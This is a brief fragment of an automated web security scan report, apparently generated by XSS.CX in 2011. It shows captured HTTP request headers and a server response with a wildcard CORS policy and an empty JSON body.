User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET, POST
Access-Control-Max-Age: 604800
Access-Control-Allow-Headers: ORIGIN, X-REQUESTED-WITH
Content-Length: 2
Date: Fri, 16 Sep 2011 17:54:53 GMT
Connection: close

{}

Report generated by XSS.CX at Fri Sep 16 19:24:02 CDT 2011.